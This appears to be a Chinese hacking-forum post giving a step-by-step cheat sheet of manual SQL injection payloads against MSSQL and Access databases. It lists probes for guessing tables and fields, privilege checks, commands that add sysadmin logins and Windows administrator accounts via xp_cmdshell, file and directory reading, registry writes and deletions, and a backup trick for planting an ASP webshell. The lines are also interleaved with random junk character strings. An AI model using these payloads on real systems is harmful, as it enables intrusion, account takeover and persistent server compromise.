手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
( A7 D! l& \9 U/ i6 m: f
5.判断数据库系统
2 X2 T4 s! c: W0 B% ]) _7 N' d;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
0 K( t# F# C7 B4 A
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7 e: Y* k: D5 T# H
9 m- Z9 r& [; a  \) m3 k3 j3 I4 K- l7.猜字段 ;and (select Count(字段名) from 数据库名)>0

9 m9 j" V$ ~9 F8 q0 {2 L& i/ j# A8 \8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
. |3 B# p/ u( K/ t9 G7 {
1 E! B8 s; W! h9 V4 }( V! c3 |10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 w' M+ S. r6 I! L2 g6 H;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
  a9 ~2 A! f8 f/ s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 R" @) e- ?/ h9 q$ F3 k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
9 K9 i' d; D9 H;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, }, Z6 Z/ S2 H! I;and 1=(select IS_MEMBER('db_owner'));--
+ a* V: {# n8 o( g
( A3 Z) J8 R: E/ p  v* Z4 V+ R' Z11.添加mssql和系统的帐户
& j' M9 ^3 p4 _% _' x- Z9 F;exec master.dbo.sp_addlogin username;--
& x0 ^0 w2 D3 a& K3 l
;exec master.dbo.sp_password null,username,password;--

% D4 ]5 f% ~! {1 O( Q8 |;exec master.dbo.sp_addsrvrolemember sysadmin username;--
4 n" L0 H& H; I9 [
;exec master.dbo.xp_cmdshell 'net user username password
8 U3 e* c6 ?" y/ e1 A" P. f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ }5 `- j  X  O& B0 X
;exec master.dbo.xp_cmdshell 'net user username password /add';--

6 k$ f7 ~& \- D. E& \3 I;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ s, E/ l8 e5 y, i/ H
12.(1)遍历目录
7 O& Q$ S( n( b; Q$ {2 f
1 h) x! V6 O& T, o* i) J! D;create table dirs(paths varchar(100), id int)
) G, [! J5 y8 Q7 E1 f: k;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
( f* \; N7 G9 i$ [0 };and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' S/ E. j2 S. j5 `1 N;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
# y) g. n5 P: G, x* \! \;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

+ G2 {- n9 h6 }3 K3 {13.mssql中的存储过程
4 m+ U0 a, W: ^% q' a
7 e$ L" m* C; q4 rxp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
' C( d5 }6 w0 c; r5 ]0 K* ]
+ ~: v. U3 e& t$ z8 A% Fxp_regread 根键,子键,键值名
;exec xp_regread
, p3 _( Y: E9 N: _3 T/ `'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 O2 X8 _# u3 o4 V7 e
xp_regwrite 根键,子键, 值名, 值类型, 值
3 B' N8 h. x- Z; O" @' f2 j值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
: [! O7 B5 M+ o: V4 E7 V
9 K9 @* Z. Y6 @# d% y2 dxp_regdeletevalue 根键,子键,值名
0 [) m6 ]  o, H$ ]' k4 R$ S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

$ u% j) _% A/ A  q6 wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
, o, J  U, P8 Juse model
create table cmd(str image);
insert into cmd(str) values ('');
. N4 b' y- m" _backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
$ Z8 H1 \; J5 k2 W( y2 ^- V3 o;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

% ~7 J7 v5 }/ i( Q" p16.简洁的webshell
4 g5 \% G, ?4 D
use model
6 q. i3 j5 z9 \- Q" C9 w
! z# O7 Y. x# M% m: @9 Z4 ?create table cmd(str image);
0 e9 f6 D- T; r. k0 k
" C% y# |0 J$ g4 b9 E4 Tinsert into cmd(str) values ('');

1 `5 f/ |- d/ s' {( S# Zbackup database model to disk='g:\wwwtest\l.asp';
. f" @' ?" y/ Y! E

老男孩

现在很多防注入啊，有其他注入字符码